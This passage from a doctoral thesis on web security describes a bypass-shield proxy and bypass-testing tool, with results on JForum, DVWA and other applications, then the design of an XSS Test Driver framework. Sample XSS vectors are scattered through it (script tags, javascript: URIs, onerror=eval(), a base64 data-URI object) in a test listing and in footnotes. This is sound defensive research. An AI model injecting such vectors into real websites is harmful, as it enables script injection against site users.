are included in the bypass-shield which will intercept user requests and check the validity
of user submitted inputs (the tool is available upon request).
The third step involves a test generation process, based on the information collected
during step 1. The preconditions are used to generate test data for bypass testing. The
idea of bypass testing is to generate data which systematically violate the client-side
constraints. As a result, we obtain a test tool, Bypass-AutoTest, which allows an auditing
to evaluate how the server reacts when receiving each kind of invalid data. Bypass-
AutoTest has been implemented ﬁrst to check that the Shield works as expected and
prevents attacks issued by the client-side.
Step2 (Shielding) and step 3 (Auditing through testing) can be used independently
or together. In the ﬁrst case, the shield allows the protection of the server without mod-
ifying the server's code. The advantage is that the security controls are centralized in
an independent component, which is responsible for the contracts between client and
server. In the other case, the audit allows identifying the server robustness weaknesses
and security ﬂaws.
We distinguish between these two kinds of issues. From a pure testing point of view,
the oracle, the general interpretation of the results and the impact diﬀer. This means
that the intent and the oracle are not the same.
The robustness oracle analyzes the server responses to ﬁnd error messages (like Java
stack trace) or unexpected behavior (returning the same page without showing warn-
ings), while the security oracle seeks to ﬁnd any information or behavior that will harm
the security of the application. For instance, the security oracle checks that the server
responses does not reveal any critical information that can be used by hackers, or that
the server does not behaves in an insecure way.
3.4 Client-side Analysis for Pre-conditions Identiﬁcation
This work focuses on bypass-attacks exploiting forms, and does not handle attacks
exploiting other attack vectors (like the cookies or HTTP headers). The goal of the HTML
analysis is to collect all the user inputs from client-side web pages. User inputs are mainly
forms being ﬁlled by the end users. This task is fulﬁlled using three complementary
techniques:
 Automated crawling of the application pages;
 Manual navigation on the website to explore all possible scenarios;
 Automated navigation using functional test built using testing framework (see
section 2.3.2).
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In fact, the automated crawling of the web is usually incomplete, and does not reach
all the application html pages. Modern web applications use partial page refreshment,
asynchronous requests and have often just one URL throughout. Visiting all the links will
not reach all the HTML pages. In addition, the behavior depends on the client. For these
reasons, we complete the automated crawling thanks to two strategies, manual surﬁng
and the execution of functional tests.
In this section, we will show how the automated crawler works and how the by-
pass shield is used to collect the HTML and ﬁnally how we deal with the JavaScript
constraints.
3.4.1 The Automated Crawler
The crawler allows the exploration of all the available web pages by visiting all the
links. The parser can be conﬁgured to use a login and password. This means going
beyond the login web page and exploring the entire web application pages. Furthermore,
the parser can be conﬁgured to avoiding visiting some links that will disconnect the user
from the web application. This feature is implemented in a generic way using regular
expression to create the set of links to be ignored. For example, all the logout or disconnect
links should be avoided. In addition, the parser only visits the pages that are in the base
URL. This leads to avoid leaving the web application and parsing other websites/web
pages. The crawler runs until all the accessible web pages are parsed. This crawler allows
the collection and the storage of all the forms along with the associated constraints.
3.4.2 Manual Navigation and Use of Functional Tests
During this step, testers were asked to run functional tests or navigate manually
throughout the web application and to explore all the possible scenarios. During this
step the bypass-shield is set in monitoring mode: it collects and analyzes the code to be
sent to the client. As shown in Figure 3.2, the shield intercepts the web pages that are
sent to the client and analyzes them in order to collect the forms.
The forms and pre-conditions that are collected are stored with the other ones already
identiﬁed using the crawler. The process of extracting the HTML is common to the
crawler and the manual step. Next, we will show how the HTML code is analyzed and
how the preconditions are extracted.
3.4.3 Collecting HTML Constraints
To collect the list of user inputs along with their constraints from the HTML code
all web pages should be parsed and analyzed. Each web page is analyzed to locate all
the forms. These forms are parsed to collect their inputs. The input may contain some
predeﬁned HTML constraints. For instance, we may have a maxlength attribute that
deﬁnes a pre-condition on the length of an age input.
At this stage, only HTML constraints are treated. A separate and parallel process
deals with JavaScript code. It will be presented in the next section.
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Figure 3.2  Collecting pre-conditions using manual navigation and functional tests
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Table 3.1  HTML predeﬁned constraints
Constraint name Description
FormMethod Method is either GET or POST and should not be modiﬁed.
Disabled The input is disabled and not sent.
MaxLength Maximum input size.
MultipleValue The value should be one of the values set.
ReadOnly The input is read only and cannot be modiﬁed.
RequiredValue The input value is required and cannot be empty
SingleValue The input has a single value, Null or that single value
62
CHAPTER 3. TAILORED SHIELDING AND BYPASS TESTING OF
WEB APPLICATIONS
Once all the forms and their inputs are collected, the tool creates a set of objects
for each form and its inputs. We have modeled the types of inputs and the constraints
as classes. This approach allows querying forms and inputs and facilitates the test data
generation, the construction of the test suite and the conﬁguration of the bypass-shield.
Each input is categorized based on its type. Table 3.1 shows these predeﬁned constraints.
For instance, the text input corresponds to an InputText object. Each constraint is
extracted from the inputs and stored according to its type.
3.4.4 Interpreting JavaScript
As we have mentioned previously, the JavaScript is not directly parsed. The diﬃculty
of dealing with JavaScript code is due to its grammar which is complex, and this makes
the semantic analysis very hard to automate. The solution that we propose involves run-
ning the client-side JavaScript validation code itself inside the shied. Instead of inferring
the semantic of the JavaScript constraints, we actually run the JavaScript code inside
the shield automatically when a form is submitted. We lift the JavaScript code from
the client, and then rerun it automatically in the shield. The main steps of this process
involve:
 Locating the JavaScript code implementing constraints on user inputs: the JavaScript
validation code is usually triggered just before submitting the form (using for in-
stance the onsubmit attribute) or is attached to speciﬁc text input events (like
onblur when the user ﬁnishes typing and leaves a text input).
 Extracting and storing this code: We should keep a mapping between the JavaScript
code and the related form or input.
This process runs in parallel with the extraction of HTML static constraints. We
extract for a given web page the JavaScript code related to the input validation. Then
we keep a mapping between the JavaScript code and the related form or input.
3.5 Server-side Shield: a Shield Tool for Protecting Against
Bypass Attacks
This section presents the bypass-shield and its components. First, we will introduce
the contract manager tool that allows the addition of constraints to the set that has been
generated in previous step. Then, the bypass-shield will be presented in detail.
3.5.1 The Contracts Manager
The contracts manager allows the addition of new constraints in order to complete
the set of constraints extracted from the client's HTML code. Security engineers can add
constraints manually through this manager and it also adds new constraints automati-
cally. Table 3.3 presents some examples of constraints provided by the manager.
The contracts manager automatically injects constraints using a dictionary ﬁle, in
which the user deﬁnes a set of RegEx constraints. These constraints are automatically
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Table 3.2  Examples of constraints
Constraint name Description
Interval The value should be within the deﬁned interval
MinLength Minimum input size
RegEx The value conforms to the given regular expression
Date The value has a date format
NumberFormat The value is numeric
ListOfValues This value is among a list of values
Required The input has to be ﬁlled
Range The value is within an interval
mapped to input according to their tag names. For instance a tag with the name email
will take the following RegEx constraint:
^([a-zA-Z0-9_]|\\-|\\.)@(([a-zA-Z0-9_]
|\\-)+\\.)[a-zA-Z]{2,4}$
This constraint forces the email addresses to satisfy a speciﬁc format. The manager
automatically adds this constraint for each email tag, even if the email format was not
enforced in the HTML code. This veriﬁcation is usually added using the JavaScript code.
On the basis of the dictionary, the manager can thus partly compensate the fact that we
do not analyze JavaScript code.
Once the conﬁguration ﬁle that is used by the bypass-shield (it is a binary ﬁle storing
the constraints) is ﬁlled with constraints it is fed into the bypass-shield which is in charge
of protecting the client-side part from bypass-attacks.
3.5.2 The Bypass-Shield
As shown in Figure 3.3, the bypass-shield aims at protecting and serves as a barrier
against the attacks. It is installed as a reverse proxy on the server side of the web
application. Therefore, all the requests are intercepted by the bypass-shield and checked.
For each request, the bypass-shield performs the following steps:
1. Intercept the request
2. Extract the user inputs and locate the corresponding form that was ﬁlled out by
the user.
3. Check and validate the input according to the related constraints and run the
related JavaScript validation code.
4. Accept the request and send it to the server side application or reject and send
an error message to the client.
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Only requests containing user inputs are checked. The URL requests are passed to
the server. The server is expected to respond by sending back the web page (the code) of
that URL. The user inputs are extracted from the selected requests. In order to locate
the corresponding form, the algorithm tries to ﬁnd among the stored forms (they are
stored in a binary ﬁle) the one having the same inputs (same number and same name)
and the same action URL (the URL to which the inputs are sent).
The HTTP request contains all the names of inputs along with their values. The
following example illustrates how the algorithm extracts the input names from the request
(in this example they are the name, the phone and the zip code). The action URL is
simply the request URL without the inputs part.
The request:
http://www.mysite.com/account.php?name=Tim&phon
e=0234234354&zipcode=75000
The extracted inputs:
name, phone and zip code
The action URL:
http://www.mysite.com/account.php
Once the form corresponding to the request is located, the bypass-shield performs
the validation of the inputs using the related constraints. All the constraints should be
respected. If the inputs do not satisfy the constraints, the request is not forwarded to the
server and an error message explaining the problem is sent to the user.
In addition, the JavaScript code that is related to the form or one of its inputs is
executed on these inputs (using a JavaScript execution engine). The result is a Boolean
value (true or false) that means: accept or reject the input data. When all constraints
are satisﬁed and JavaScript validation succeeds, the request is forwarded to the server.
3.5.3 Impact of Enforcing Constraints on Security
By validating the client-side constraints, the shield prevents some code-injection
based attacks like SQL injection on numeric ﬁelds, by enforcing constraints on numeric
ﬁelds so it becomes impossible to bypass this constraint and perform any code-injection
attack. In addition, it makes it harder for attackers to do long SQL injections when the
ﬁeld length is limited.
By ensuring that the provided parameters are strictly those required, the shields limit
IDS evasion techniques like HTTP parameter pollution 3, which is a kind of attack that
involves exploiting parameters in the URL (by duplicating them and injecting attacks).
This kind of enforcement reduces the attack surface of the shielded web application.
Using the shield in front of WebGoat 4 (which is a vulnerable OWASP web application
3. https://www.owasp.org/index.php/Testing_for_HTTP_Parameter_pollution_\%
28OWASP-DV-004\%29
4. https://www.owasp.org/index.php/Category:OWASP\_WebGoat\_Project
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Figure 3.3  Overview of the shield
Serveur
(Web Application)
Client
(Web Browser)
Shield
Request
Valid ?
YESNO
used for teaching security) is a good example to show how the bypass-shield provides extra
security, and where it does not. As shown in WebGoat, the developers focus very often
on the ﬁelds that are under the user's control (like text ﬁelds), and neglect performing
input validation on other ﬁelds, like check boxes or select lists, which have predeﬁned
values. Enforcing constraints on these ﬁelds is relatively simple since the expected values
are known. By these simple constraints, the shield ensures that the application behaves
as expected by the developer and protects against some attacks.
3.6 Automated Bypass Testing
This section details the automated generation of bypass testing. The client-side anal-
ysis provides useful information on constraints which can be used directly to generate
data violating these constraints. On one hand, this data can be used within our bypass-
testing too or other security tools like fuzzing tools in order to audit the web application.
On the other hand, they could be used for evaluating the bypass-shield.
The data generation process involves three major steps. We start with the automatic
generation of malicious test data that violates the client-side constraints. Then, we build
complete requests that include the malicious data and for which all other tags contain
valid data. These requests are sent to the server-side. The last step involves the analysis of
the server responses and the automated classiﬁcation of the results, in order to facilitate
their interpretation by the testers.
3.6.1 The Generation of Malicious Test Data
The initial step involves generating test data that bypass the client-side constraints.
For each constraint, we have created a data generator in our Bypass-AutoTest tool.
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Table 3.3  Examples of constraints
Constraint Violation
FormMethod Use another form method
Disabled Make it enabled and generate a random string
MaxLength Generate data exceeding MaxLength
MultipleValue Generate a diﬀerent random value
RegEx Create a value not conformant with RegEx
Date Create a random value that is not a date
NumberFormat Generate a string with alphabetic characters
ListOfValues Generate a value not in the list of values
Range Generate a value outside that range
This data generator is in charge of creating the data violating a speciﬁc constraint. For
example, when the input is a phone number with a maximum length limit (10 characters),
the data generator takes this input and its constraint and generates a random string with
a length exceeding the required max length by 10. The interval of violation can be deﬁned
by the user (10 is the default value). Table 3.3 shows some examples of constraints and
the generated data.
3.6.2 Construction and Execution of Bypass Tests
This step requires the construction of suitable requests from the set of test inputs
generated in previous step. For the request to be valid, all the form tags must be ﬁlled.
In fact, each test request contains only one unique malicious input; all other inputs are
valid with respect to the constraints.
The fact that there is only one single malicious data in each test request allows to
avoid any side-eﬀects due to the server-side rejecting the request. Also, if the test fails,
revealing the lack of input validation or a serious security ﬂaw, the fact that each request
contains only one malicious input facilitates the localization of the source of this problem.
To generate these requests, the malicious and genuine data are combined to ﬁll the
forms. Then, the requests are sent to the server side to be processed. Afterwards, the
server responds and all these responses are stored in order to be interpreted and classiﬁed.
3.7 Experiments and Results
This section presents an limited evaluation of both the protection technique using
three case studies, which are JForum 5, Insecure 6 and DVWA 7 (Damn Vulnerable Web
application) and the bypass testing technique using four case studies (JForum, Roller 8,
5. http://jforum.net/
6. https://www.owasp.org/index.php/Category:OWASP\_Insecure\_Web\_App\_Project
7. http://www.dvwa.co.uk/
8. http://roller.apache.org/
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PhpBB 9 and MyReview 10, see table 3.4). JForum and PhpBB are widely used web
applications that help creating forums. Roller allows to create customized blogs while
MyReview is a conference management tool. Finally, Insecure and DVWA are vulner-
able web applications used to demonstrate web attacks and to evaluate the protection
techniques.
Table 3.4  Applications used for Shield benchmark
Web app. # of lines of code & technology # of forms # of inputs # Inputs Generated
JForum 2.1.8 63870 (JSP) 33 223 1985
Roller 4 143865 (JSP) 39 271 2252
PhpBB 3 230286 (PHP) 35 192 1616
MyReview v2 53149 (PHP) 31 186 1889
This section presents and discusses bypass shield experimentations. Firstly, we cal-
culate the number of vulnerabilities that are mitigated by the bypass-shield. Secondly,
we evaluated the testing tool by applying it to four popular web applications including
JForum. The idea is to evaluate the ability of the bypass testing tool to discover new
vulnerabilities or robustness issues in web applications. Finally, we did a ﬁrst estimate
of the shield overhead by calculating the additional latency induced by the constraint
validation.
3.7.1 Bypass Shielding Results
This section presents a limited evaluation of the shield eﬀectiveness in stopping at-
tacks. Using classical penetration testing techniques and using the WA3F tool, we were
able to ﬁnd 9 exploitable vulnerabilities in JForum. For the other two web applications,
the vulnerabilities are well known and documented since they are vulnerable by construc-
tion. Table 3.5 shows the overall number of vulnerabilities for each application and the
number of vulnerabilities that were mitigated thanks to the bypass- shield using only
automatically retrieved constraints and manually added constraints. Most of these vul-
nerabilities are related to weak server-side validation of user inputs, enabling attacks like:
SQL Injection, XSS and Denial of Service (DoS). By duplicating client-side constraints,
the shield allows mitigating these vulnerabilities. By restricting the content and length
of ﬁelds like name or phone number, the shield is able to mitigate some attacks (SQL
injection or DOS attacks).
Table 3.5  Vulnerabilities mitigated by the shield
Insecure JForum DVWA
# of vulnerabilities 15 9 5
remaining vulnerabilities 3 5 3
9. https://www.phpbb.com/
10. http://myreview.sourceforge.net/
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The remaining vulnerabilities that are not mitigated by the shield are related to XSS
on text ﬁelds. Even with speciﬁc constraints the shield was not able to stop all of these
XSS attacks and we found ways to bypass these constraints. This is due to the fact a good
input ﬁltering with regular expressions is hard to achieve for content legitimately mixing
HTML tags with text. It is a typical illustration of the parsing issue mentioned in 2.5:
Regular expressions are not suitable for HTML parsing and thus for XSS prevention.
Moreover, text input constraints can't be easily extracted from form analysis only, it
requires samples of valid inputs to infer input constraints. This is why we investigated
for a way to enforce HTML post-condition in section 3.8.
3.7.2 Bypass Testing Results
The bypass testing results are shown in Table 3.6. Using the bypass testing tool, we
were not able to discover any serious issues in both phpBB3 and Roller. However, we
were able to ﬁnd some robustness problems, especially in the JForum application. In
fact, the tests provoked 353 failures related to three kinds of Java exceptions:
 Null Pointer Exception: Use of a null variable. It occurs when null inputs are sent
to the server.
 Class Cast Exception: Incompatible class type cast. When an unexpected input
is sent to the server (an input that is not in a predeﬁned list).
 Number Format Exception: The server tried to convert a string into an integer.
It occurs when non numeric values are sent instead of numbers.
Table 3.6  Bypass testing results
App. #Failures #SQL failures #Null Response Responses codes
JForum Java: 353 1 0 [302, 404]
phpBB3 0 0 183 -
Myreview 0 1 650 -
Roller 0 0 0 [405, 500]
These failures are due to bugs in the input validation code located on the server-side.
The server did not check correctly the user inputs. In addition, for two web applica-
tions (phpBB3 and MyReview), we received `Null responses'. The server returned empty
responses. Furthermore, according to the response code, there were three kinds of re-
sponses:
 Response 404: The requested page is not found. This occurred when hidden values
were modiﬁed. The server uses them to reach certain kinds of pages. When the
hidden value is not correct, this leads to the response 404.
 Response 405: The method is not allowed (using GET method when submitting
a form instead of POST).
 Response 500: Internal server error.
We found two SQL ﬂaws in MyReview and in JForum. The JForum one originated
from a form used to submit new posts in the forum where the input subject length is not
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checked by the server side. When a long string is sent to the server, an SQL Exception
occurs and the SQL query is exposed to users. This vulnerability was discovered manually
when we performed penetration testing on JForum.
3.7.3 Performance Results
By duplicating constraints in an `in-the-middle' shield, an overhead is created that
is dependent of the number of enforced constraints. In our case study, the number of
constrains per form where limited to constraints extracted from the web application
and a few generic constraints. Thus we consider the overhead measurement not realistic
enough to draw conclusions on the shield performance. Our ﬁrst estimates indicate an
overhead of 15% on JForum response time.
3.8 Fighting XSS with HTML Post-Conditions
Developers, when building HTML pages, use an small subset of the HTML norm for
its website, and portions of the HTML page remains the same across the whole website,
like the header, footer of the page, the navigation menu, etc... Those web page pieces are
the outputs of website functions, if we can attach a post-condition to these functions,
maybe we will be able to catch XSS attacks by the violation they could cause to the
expected HTML structure. The post-condition take the form of a grammar validated by
an XML schema allowing only the sub-tags and sub-properties used by the developer in
the website (see ﬁgure 3.4).
Figure 3.4  Illustration of post-condition declaration for a web page structure
<body>
<html>
<head>
<script>* <div>*<div class=header> <div class=footer>
<div class=stats>
<script>
src=http://mywebsite/* language=javascript
src=mystats.dummysrc=http://mywebsite/*
<img>*
<a>
<img>*
<ul>*
href=http://mywebsite/*
<li>* <img>src=*
<a>*
The post-condition grammar won't be able to validate a web page output after the
injection of unauthorized tags or properties (see ﬁgure 3.5 and 3.6).
XML Schema is a norm dedicated to expressing the expected structure of an XML
document. It allows the automatic validation of the XML document by standard XML
parsers. It can be used as a grammar speciﬁcation for an XML document. HTML has a
speciﬁc XML version named XHTML. Well formed HTML documents can normally be
parsed by XML parsers. But in reality many websites are not well formed. We choose to
use HTML Tidy library to cleanup the web page markup before the XML processing. By
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Figure 3.5  Example of tag augmentation caused by an XSS
<body>
<div>*
<img>*
src=*
<a>* <script>
Figure 3.6  Example of property augmentation caused by an XSS
<body>
<div>*
<img>*
src=*
<a>*
onerror=eval()
doing so we obtained a cleansed HTML, and got rid of many HTML mistakes made by
developers.
Our idea was very similar to DSI [97] and Noncespace [48], but was independent from
the web application, and didn't require any browser modiﬁcations, since the policy was
enforced by the bypass shield. The black-box position of the bypass shield implies that we
couldn't infer the page structures from the application source, thus the web page structure
had to be learned from the HTML outputs, a very tough issue. Moreover, we had no way
to specify within the XML Schema the content of the properties for data URI 11. Despite
these issues, we conducted a benchmark between our tool and traditional signature-based
approaches like mod_security to see if we performed better with our solution.
3.8.1 Evaluation
In order to assess the quality of our XSS detection system based on HTML post-
conditions we needed a benchmark to compare Web Application Firewalls with the shield
against XSS. To do so, we started to collect XSS vectors, and started to design a test suite.
Facing the diversity of XSS vectors and some browser-speciﬁc vectors, we quickly needed
to design a way to validate the output of a web application against several browsers.
Our main idea was to test each security layer independently. For example, it is useless
to use a XSS vectors which runs only under an outdated version of Netscape. So we
decided to ﬁrst qualify the XSS vectors, wich lead to the design of the XSS Test Driver
tool in chapter 4.
We quickly discovered many ﬂaws in our detection scheme implementation, most of
them coming from the process of HTML normalization through HTML Tidy messing with
11. http://en.wikipedia.org/wiki/Data_URI\_scheme
ex: <object data="data:text/html;base64,PHNjcmlwdD5hbGVy=="></object>
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malformed HTML used in several XSS vectors. Thus some vectors remained undetected
because the system was unable to parse the outputted HTML properly, or because Tidy
was removing the vector before it could be parsed.
Another drawback of the technique was its position. Since we were at the server-
side, we had no way to enforce the document structure in case of DOM-XSS. Even if
we execute all the JavaScript served by the server, we would miss browser-speciﬁc cases
without a suitable browser emulation.
Automatic building of such post-condition declaration the same way we did with
client-side validation was not studied during this thesis. Maybe with the progress of
nowaday model inference technique, such post-conditions could be learned from the web
application, the same way the bypass shield discovers the client-side controls within
HTML.
3.8.2 Improving the Benchmark with New Vectors
Many web application ﬁrewalls we encountered in our career use signatures for XSS
attack detection, often the payload was triggering the alarm, and not the XSS vector by
itself. Changing the name of functions used in the JavaScript payload allowed to bypass
the detection. Another successful bypass was to use recent XSS vectors, for which no
signature yet exist.
Consequently to improve our benchmark, we started to research ways of automatically
producing new XSS vectors. Thus we needed a way to validate generated vectors against
several browsers. When exploring a combinatorial data space, performance is key, that's
why execution speed was a major concern in the XSS Test Driver design.
Some months after our publication of XSS Test Driver, Gareth Heyes released Shazzer,
a collaborative fuzzer dedicated to browser fuzzing for XSS vector research. It was a
precious source of new XSS vectors for our ﬁngerprinting technique (see chapter 6).
3.9 Conclusion
This chapter presented a new approach that aims at automating the shielding of web-
applications against bypass attacks. The novelty of the approach lies in the analysis of
the HTML code to extract constraints on the user inputs in addition to the JavaScript
validation code. These inputs are used to build a shield that is executed as a reverse
proxy to enforce these constraints. This tool suite may have been extended to cope with
other security issues. Our ﬁrst experiments with the bypass shield are now outdated,
since the bypass shield is under heavy development within KEREVAL under the project
name RocaWeb, and its actual performance is yet to be tested.
This initial contribution of this thesis has led to reconsider the priorities of the rest
of the thesis. Before proposing new protection mechanisms, we need to build a testing
environments to validate against code-injection attacks. This is why, the research on a
security testing tooled methodology has bee considered as a priority, with a focus on
XSS.
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The bypass-shield and its client constraints and inputs that are collected constitute
an interesting platform to implement new kinds of protection strategies.
Our failure with post-condition enforcement was the ﬁrst step of our research from
XSS vector study to the challenge of client-side attack detection.
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Chapter 4
XSS Test Driver
Never send a human to do a
machine's job
Agent Smith, The Matrix
This chapter describes the innovative framework developed during this thesis, the XSS
Test Driver. This tool has been widely used and has provided all the basics measurements
used to check the main results of this thesis described in the next chapters. No automated
tools existed to validate XSS vectors execution when we started its development in 2010
and today no tool is yet available to perform the systematic testing of a set of web
browsers against a predeﬁned set of XSS test vectors.
4.1 Terminology
A XSS attack consists of executing code (mostly JavaScript) inside a browser via a
website, by injecting a content (e.g. by posting a comment on a page). The injected con-
tent is anXSS vector. For instance a very simpleXSS vector is <script>alert('foo');</script>.
An XSS vector can be logically decomposed of three parts:
1. a XSS vector contains one or several HTML tags and attributes,
2. the payload is a piece of JavaScript code,
3. the payload format is a special way to encode the payload.
In the above example, the vector is composed of the <script></script> tags, the
payload is a call to function alert() , and the format is identity (i.e. the payload in
not encoded at all). This is a very simple example of XSS vector. More complex XSS
vectors beneﬁt from the ever-growing functionalities oﬀered by browsers to developers.
Each new API or language subset that is able to execute or call JavaScript code can be
turned into an XSS vector. For more information on the richness of XSS vector forms,
refer to section 6.4.1 and look at the XSS Vector sources used in 5.2.1 and 6.4.3.
An important characteristic of XSS vectors is that certain XSS structures accept
payloads in very speciﬁc formats. For instance, some XSS structures require a link to
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a JavaScript ﬁle, other are successful only if the payload is encoded in base64. Such
behavior is either related to a speciﬁc feature, or to a bug.
A XSS vector can also depend on:
 The character set the browser should use to decode the HTML
 The content type of the transmitted resource
 The HTML Doctype of the HTML Document
Since all these informations are used by browsers to decode the received data and to
parse them properly, playing with these parameters on the server side allows to trigger
some quirks (ie: sending HTML4 vectors within an HTML5 context).
4.2 Requirements For a XSS Vector Testing Tool
In order to qualify XSS vectors, we need to be able to manage all the parameters that
can inﬂuence their execution, and as a consequence we obtain the following requirements
for our XSS vector testing tool:
 Browser as the test oracle. We must use the browser as an oracle to test our
XSS vectors because some vectors works only with one family of browsers.
 Cross-browser compatibility is needed to be able to compare test results be-
tween browsers. Thus, the inner-workings of the code, the test logic and how
problematically it drives the browser must work across all browsers. This denies
the use of browser plugins or browser a automation harness that requires browser
modiﬁcation. Ideally the test tool must work within the browser with only widely
implemented HTML and JavaScript standards.
 Centralized results are key to compare test results. Many JavaScript unit test
suites work within a browser locally, but do not provide a way to share test results
conveniently.
 Ability to mix HTML and JavaScript: since XSS vectors are composed of
HTML and JavaScript, we needed to assess the proper execution of a JavaScript
function, but also to specify the HTML too.
 HTML dctype control is required to test the browsers behavior with XSS
vectors bound to a speciﬁc version of HTML, since the HTML norm to use for
parsing is speciﬁed by the doctype
 Character set control is needed to be able to test XSS vectors relying on
peculiar character sets like UTF-7 or UTF-16.
With these requirements in mind, we started to explore available test harness for
JavaScript and HTML unit testing. We excluded frameworks using a single dedicated
browser engine like HTML Unit. We also excluded framework dedicated to JavaScript
testing only. We ﬁxed our ﬁrst choice on JsTestDriver.
4.3 Foreword: Limitations of JsTestDriver
When we ﬁrst tried to qualify XSS vectors for testing purposes, we experimented
with several JavaScript Unit testing frameworks, the closest type of framework we could
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use to test if an XSS vector is executing or not.
XSS vectors are designed to execute JavaScript from HTML, thus we needed to assess
the proper execution of a function. Validating the execution of a function is straightfor-
ward in unit testing.
We needed a JavaScript unit testing framework allowing us to provide arbitrary
HTML as part of the test context. Upon insertion of the HTML, a callback function
is triggered if the browser properly understood the vector.
The way to deﬁne a callback function and test cases for XSS vectors using JsTest-
Driver is illustrated in the listing 4.1:
Listing 4.1  JsTestDriver implementation of XSS vector testing
1 //test case declaration
2 BasicXSS = TestCase("BasicXSS");
3
4 //definition of the oracle function
5 oracle=function(){
6 assertTrue("Alert catched",true);
7 };
8
9 //basic \emph{XSS vector} test
10 BasicXSS.prototype.testScript = function(){
11 expectAsserts(1);
12 /*:DOC += <script>a()</script>*/
13 };
14
15 //img src xss vector
16 BasicXSS.prototype.testImg = function(){
17 expectAsserts(1);
18 /*:DOC += <IMG SRC="javascript:a();">*/
19 };
In the code snippet 4.1 we have the deﬁnition of one callback function, used as the oracle.
The test cases are ﬁrst delivered to the browser. Then the browser interprets the HTML
code, and calls the JavaScript engine to execute the oracle() function containing our
assertion. The expectAsserts(1); speciﬁes that one assertion is expected to succeed.
If no assert function is executed, the test case fails. If one assertion is raised, the test
succeeds, meaning that the JavaScript engine have been called by the browser, thus our
test payload have been executed.
With this method, we managed to test several XSS vectors against various browsers
(IE7, Firefox 2 and 3, Chrome and Opera). When including more complex XSS vectors
within the test suite, we faced several limitations. Some XSS vectors known to pass
manually, failed inside the testing environment. Analyzing the inner workings of the
JSTestDriver framework, we determined that some vectors interacted with the Iframe
used to monitor the test execution. JSTestDriver was thus interfering with the XSS test
execution. Some other vectors used a <frame> tag to call JavaScript from a URI (such as:
<FRAMESET><FRAME SRC="javascript:alert(`xss');"></FRAMESET>), preventing the call-
back function to work because of JavaScript context isolation between the frames. This
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is a typical case of intrusiveness: the testing environment perturbs the test execution and
results analysis.
Considering this side-eﬀect, we implemented our own testing framework with the
following features:
 No JS library included within the HTML code served to the browser;
 Full control over the HTTP response and its content;
 The ability to serve complementary ﬁles dynamically when it is required by the
vector;
 JavaScript Payload control, to manually validate a result by serving the traditional
alert(xss) payload;
 Cross-browser compatibility, to remove the dependence on the browser version to
run our tests.
4.4 Test Logic
XSS vectors exploit technical speciﬁcities of web browsers. The testing framework
must be able to manage each parameter inﬂuencing the browser and allowing XSS test
vectors execution and the observation of the test results.
The test environment of an XSS vector consists in two parts: the HTML context and
the encoding. The HTML context (that we call Web Context) is composed of the doctype
and generally of the entire HTML surrounding the vector (as shown in listing 4.3) as well
as the MIME type speciﬁed in the HTTP headers (like the one shown in listing 4.2). An
absence of doctype put the HTML engine in Quirks Mode, where a relaxed grammar is
used. The encoding is the character set declared in the HTTP headers and used in the
document.
Listing 4.2  Example of a webcontext based on a xml header
1 text/html,application/xhtml+xml,application/xml
Listing 4.3  Example of a webcontext based on a based on an HTML5 doctype
1 <!DOCTYPE html>
2 ...xss_vector_here...
To avoid the use of a JavaScript library, or any interaction with the DOM, we used
the following logic to chain the tests and collect the results:
 an URL serves each XSS vector. The vector is associated with a properly encoded
JavaScript payload. Upon the URL's request, the test is marked as SENT.
 Each XSS test case contains a speciﬁc JavaScript validation routine (the payload
described in 4.5). Upon execution, the test is marked as PASS.
 The /test/next URL then points to a new test and redirects the browser using a
HTTP status code 302 redirect.
 Upon completion of the test suite, SENT test cases are considered failed and
remain with this value.
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Figure 4.1  XSS Test Driver Testing Logic
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Figure 4.2  XSS Test Driver Iframe Runner Logic
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 If for some reason a test is skipped, or the test case generation crashes, or a new
untested vector is introduced in the suite, the associated test result is reported as
Not Available (NA).
This test logic avoids the use of a JavaScript test library, and avoids all interaction
with the DOM generated by the vector. It is fully automated using a runner script opening
the next test inside an Iframe. Chaining test execution can also be done manually by
browsing diﬀerent tests.
4.5 Test Format and JavaScript Payload
For each tested browser, the XSS Test Driver provides 1 signature instance (set of
attributes) describing the results for the whole test suite representing 1046 unitary test
cases computed from the 523 base XSS vectors. Each attribute name issued from 1 test
has the same name structure giving as many diﬀerent attribute names (like 90-2-1 for
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Table 4.1  Examples of results of the XSS Test Driver
Attr. browser 1-1-1 1-2-1 . . . 523-2-1
Value Safari 5_1_5 NA PASS . . . NA
Firefox 11_0 PASS SENT . . . NA
example):
 XSS vector number of our test bed: 1 to 523,
 context of execution: 1 or 2,
 context of encoding: 1.
The possible values of these attributes are: {SENT,PASS,NA} corresponding to the
result of the test, see Section 4.4. This set of attributes is completed with a free text
describing the browser. Table 4.1 illustrates 2 instances extracted from the real dataset.
A payload usually contains JavaScript code for the browser to execute. It can be
innocuous or it can be noxious, by executing a redirection to an attack website. It then
exploits a ﬂaw inside the browser, leading to arbitrary code execution on the client like in
the Aurora attack against Google's employees [98]. The payload is executed if the browser
understands the vector, meaning that it interprets it as expected by the attacker. In our
context, a test case is composed of an attack vector carrying a non-destructive payload.
As shown in Figure 4.1, a test fails if the browser does not execute the payload or if
it crashes or hangs endlessly, preventing the JavaScript to be executed and thus, the
attack. In our context, an XSS test case passes if the vector is executed by the browser.
This means that a passing test case reﬂects a real threat for the browser. Pass thus
means possibly vulnerable (where the use of a pass verdict usually corresponds to an
absence of error in the testing domain). This is especially important since it accurately
pinpoints the exact attack surface a web browser oﬀers to an attacker. It also allows to
launch accurate test cases that will challenge server-side countermeasures. This testing
methodology allows to determine the overall security of a system, and also to measure
each layer's contribution to security.
The tests cases are provided as an HTML snippet with the payload format as the
parameter:
("""<script>%(payload)s</script>""",
"basic script payload")
Currently supported payload formats are the following:
 payload : the source of the callback function;
 jscript : the source of the callback function in a .js ﬁle served separately;
 scriptlet : url pointing to an HTML page containing a script with the callback
function;
 eval_payload : output an eval() function containing the encoded payload encoded
using String.fromCharCode();
 css: a CSS ﬁle containing multiple techniques to call JavaScript from CSS;
 jpg : JavaScript sources served with a JPEG content-type;
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 htc: .HTC ﬁle containting XML code generating a image tag eventually calling
the JavaScript payload;
 xbl : .xbl ﬁle containing mozilla speciﬁc XML code;
 svg : a SVG ﬁle containing a form calling the payload;
 svg2 : another SVG ﬁle with an onload event calling the payload;
 svg3 : another SVG ﬁle with several JavaScript calling techniques;
 xxe: a .xxe XHTML ﬁle with a script calling the JavaScript callback function;
 dtd : a DTD ﬁle deﬁning a new XML external entity. Upon parsing, the entity is
replaced by a <IMG> tag calling the JavaScript payload;
 evt : a .evt ﬁle with XHTML content containing the JavaScript payload;
 vml : a .vml vector graphic ﬁle with an onmouseover event calling the payload;
